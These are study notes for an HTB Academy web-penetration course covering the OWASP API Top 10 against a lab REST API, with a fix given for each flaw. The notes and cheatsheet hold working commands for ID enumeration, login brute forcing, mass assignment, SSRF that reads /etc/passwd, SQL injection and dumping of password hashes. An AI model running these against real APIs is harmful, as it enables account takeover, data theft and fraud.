All articles

API Attacks — Exploiting the OWASP API Security Top 10 on a REST API (HTB CWES)

Built from the API Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every command, endpoint and payload kept, condensed. Labs and lessons are on HTB Academy.

APIs are the backbone of modern apps and a huge attack surface. This module works through the OWASP API Security Top 10 (2023) against a RESTful API (ASP.NET Core, the Inlanefreight E-Commerce Marketplace) with RBAC — roles named after the endpoints they unlock (e.g. role Suppliers_GetAll → /api/v1/suppliers). The whole API (60+ endpoints) is explored through a Swagger UI at /swagger: authenticate once with a JWT (sign in, copy token, Authorize, paste), then every request carries it. The recon reflex throughout: current-user endpoints tell you who you are (/customers/current-user, /supplier-companies/current-user) and what you can do (/roles/current-user).

1. API1 — Broken Object Level Authorization (BOLA / IDOR)

The #1 API flaw: the endpoint authenticates you but never checks that the object you request is yours. You're authorized to use the endpoint; you just change the ID.

Here /api/v1/supplier-companies/yearly-reports/{ID} takes an integer ID. Your company is b75a7c76-…, but ID=1 returns a report for company f9e58492-… — someone else's. Enumerate the ID to mass-harvest every report with a for loop + jq:

for ((i=1; i<=20; i++)); do
  curl -s -w "\n" -X GET \
    "http://TARGET/api/v1/supplier-companies/yearly-reports/$i" \
    -H 'accept: application/json' \
    -H 'Authorization: Bearer eyJ...<JWT>' | jq
done

Fix: server-side, compare the resource's companyID to the authenticated user's companyID; deny on mismatch.

2. API2 — Broken Authentication

Any auth mechanism that can be bypassed/circumvented. Here the sign-in endpoint has no rate limiting (CWE-307) and a weak password policy (min 6 chars, no complexity) — the PATCH /customers/current-user validation message leaks the policy (123456 is accepted). So customer passwords are brute-forceable.

Grab the failure string first (Invalid Credentials), then fuzz two ffuf keywords at once — password list × target-email list — filtering out the fail regex:

ffuf -w /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PASS \
     -w customerEmails.txt:EMAIL \
     -u http://TARGET/api/v1/authentication/customers/sign-in -X POST \
     -H "Content-Type: application/json" \
     -d '{"Email": "EMAIL", "Password": "PASS"}' \
     -fr "Invalid Credentials" -t 100
# * EMAIL: IsabellaRichardson@gmail.com   * PASS: qwerasdfzxcv

Where strong passwords block this, pivot to brute-forcing OTPs or security-question answers (low entropy, often no rate limit). Fix: rate-limit per IP/account, enforce a strong policy, add MFA.

3. API3 — Broken Object Property Level Authorization

Two sub-flaws at the property level.

Excessive Data Exposure (CWE-213): the endpoint returns fields the caller shouldn't see. /api/v1/suppliers hands customers each supplier's email and phoneNumber — enough to bypass the marketplace and deal direct. Fix: return a DTO with only the intended fields, not the raw domain model.

Mass Assignment (CWE-915): the endpoint lets you write a field you shouldn't. PATCH /api/v1/supplier-companies accepts isExemptedFromMarketplaceFee — set it 1 and your company stops paying fees:

curl -X PATCH http://TARGET/api/v1/supplier-companies \
  -H 'Authorization: Bearer eyJ...' -H 'Content-Type: application/json' \
  -d '{"supplierCompanyID":"b75a7c76-...","isExemptedFromMarketplaceFee":1}'

Fix: a request DTO that excludes sensitive properties.

4. API4 — Unrestricted Resource Consumption

No limit on bandwidth/CPU/memory/storage per request. The certificate-upload endpoint validates neither size nor extension and stores files forever:

dd if=/dev/urandom of=certificateOfIncorporation.pdf bs=1M count=30   # 30 MB junk "PDF"
dd if=/dev/urandom of=reverse-shell.exe bs=1M count=10                # .exe accepted too

Repeating the upload can exhaust disk (DoS). Worse, files land in ASP.NET Core's wwwroot, which is public by default, so uploads are directly downloadable — a malware-hosting / enumeration primitive:

curl -O http://TARGET/SupplierCompaniesCertificatesOfIncorporations/reverse-shell.exe

Fix: validate size + extension + content, scan with ClamAV, lock down wwwroot.

5. API5 — Broken Function Level Authorization (BFLA)

Unlike BOLA (you may use the endpoint, wrong object), BFLA = you use an endpoint/function you were never authorized for. /api/v1/products/discounts is documented as requiring the ProductDiscounts_GetAll role; the current user has no roles at all — yet invoking it still returns every discount. The RBAC check simply wasn't implemented. Fix: enforce the role check server-side before processing.

6. API6 — Unrestricted Access to Sensitive Business Flows

A sensitive business operation exposed without guard-rails. The discount data leaked via BFLA reveals exactly when a product goes 70% off and for how long. Combine with an un-rate-limited purchase endpoint (API4) → buy all stock the moment the discount opens and resell at full price. Fix: strict access control on business-critical endpoints.

7. API7 — Server-Side Request Forgery (SSRF)

User-controlled input fetched by the server without validation (CWE-918). Here it's an exploit chain built from a file-URI field plus mass assignment: upload to learn the file:// scheme the API stores paths in, PATCH that field to a local path, then read it back base64-encoded.

POST .../certificates-of-incorporation upload a PDF → response leaks fileURI (file:// path) 1 · learn the file-URI scheme PATCH /api/v1/supplier-companies mass-assign fileURI = file:///etc/passwd 2 · point it at a local file GET .../{ID}/certificates-of-incorporation backend fetches the path, returns base64 base64 -d → /etc/passwd
SSRF via file URI: mass-assign the stored certificate path to a local file, then read it back through the GET endpoint.
# 2 · point the stored path at a local file (mass assignment on PATCH)
curl -X PATCH http://TARGET/api/v1/supplier-companies \
  -H 'Authorization: Bearer eyJ...' -H 'Content-Type: application/json' \
  -d '{"supplierCompanyID":"b75a7c76-...","certificateOfIncorporationPDFFileURI":"file:///etc/passwd"}'
# 3 · read it back — response carries base64Data
curl -s http://TARGET/api/v1/supplier-companies/<ID>/certificates-of-incorporation | jq -r .base64Data | base64 -d

The backend never validates the path, so it returns /etc/passwd (then /etc/shadow, etc.). Fix: confine both the PATCH field and the GET reader to wwwroot/SupplierCompaniesCertificatesOfIncorporations/ only.

8. API8 — Security Misconfiguration (incl. SQL Injection)

APIs inherit classic web misconfigs. /api/v1/products/{Name}/count concatenates Name straight into SQL (CWE-89). A trailing quote laptop' throws an error → injectable. Boolean-OR to dump the full row count:

GET /api/v1/products/laptop'%20OR%201=1%20--/count     → productsCount: 720   (vs 18 for "laptop")

Also in scope: missing/weak HTTP security headers (e.g. a lax Access-Control-Allow-Origin CORS policy → CSRF exposure). Fix: parameterized queries / ORM, and secure headers (OWASP Secure Headers).

9. API9 — Improper Inventory Management

Old API versions left exposed. The Swagger "Select a definition" drop-down lists a v0 labelled legacy/backup — and its endpoints have no lock icon (no auth). /api/v0/customers/deleted dumps deleted customers including password hashes:

curl -s http://TARGET/api/v0/customers/deleted | jq

Crack the hashes → password reuse likely re-compromises active v1 accounts. Fix: remove/deprecate v0, or restrict it to local use / admin-only auth.

10. API10 — Unsafe Consumption of APIs

When your API blindly trusts a third-party API it consumes (reliance on an insufficiently trustworthy component, CWE-1357). Risks: unencrypted transmission, inadequate validation of returned data (→ injection / RCE downstream), weak auth to the upstream, no rate limiting, poor monitoring. Fix: encrypt channels, validate/sanitize everything received, authenticate to upstreams, rate-limit and monitor.

11. What to carry into the CWES exam

  • Map the target to the OWASP API Top 10 and let Swagger + current-user/roles recon drive you: who am I, what roles, which endpoints match them.
  • BOLA vs BFLA: BOLA = right endpoint, change the ID (loop + jq to mass-harvest); BFLA = call an endpoint you have no role for and see if the check is missing.
  • Object property flaws: diff responses for over-exposed fields (Excessive Data Exposure); diff the write schema for fields you can set but shouldn't (Mass Assignment — isExemptedFromMarketplaceFee).
  • ffuf with two keywords (:EMAIL/:PASS) brute-forces API logins; always grab the fail string for -fr.
  • Uploads: test size and extension; check where files land (wwwroot = public in ASP.NET Core).
  • SSRF via file URIs + mass assignment is a chain — upload to learn the scheme, PATCH to file:///etc/passwd, GET to read base64.
  • Always probe ' for SQLi, and enumerate other API versions (v0/v2) in the Swagger definition drop-down.

Cheatsheet — API Attacks

Recon (Swagger + JWT)

/swagger                              → UI, 60+ endpoints, version drop-down (v0/v1/v2)
POST /api/v1/authentication/{customers|suppliers}/sign-in   → JWT ; Authorize → paste
GET  /api/v1/{customers|supplier-companies}/current-user    → who am I (+ companyID)
GET  /api/v1/roles/current-user       → my roles (role name == endpoint)

BOLA / mass-harvest

for ((i=1;i<=20;i++)); do curl -s -w "\n" -X GET "http://T/api/v1/supplier-companies/yearly-reports/$i" -H "Authorization: Bearer $JWT" | jq; done

Broken auth brute force (two ffuf keywords)

ffuf -w passwords.txt:PASS -w emails.txt:EMAIL -u http://T/api/v1/authentication/customers/sign-in -X POST \
  -H "Content-Type: application/json" -d '{"Email":"EMAIL","Password":"PASS"}' -fr "Invalid Credentials" -t 100

Mass assignment / SSRF (file URI)

curl -X PATCH http://T/api/v1/supplier-companies -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{"supplierCompanyID":"<GUID>","isExemptedFromMarketplaceFee":1}'
curl -X PATCH http://T/api/v1/supplier-companies -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{"supplierCompanyID":"<GUID>","certificateOfIncorporationPDFFileURI":"file:///etc/passwd"}'
curl -s http://T/api/v1/supplier-companies/<ID>/certificates-of-incorporation | jq -r .base64Data | base64 -d

Upload / resource consumption

dd if=/dev/urandom of=big.pdf bs=1M count=30        # no size check
dd if=/dev/urandom of=x.exe  bs=1M count=10         # no extension check
curl -O http://T/SupplierCompaniesCertificatesOfIncorporations/x.exe   # wwwroot is public

SQLi / legacy version

GET /api/v1/products/laptop' OR 1=1 --/count        # URL-encode:  laptop'%20OR%201=1%20--
GET /api/v0/customers/deleted                        # unauthenticated → password hashes

Built from HTB Academy's API Attacks module — labs, lessons and the CWES exam are on HTB Academy.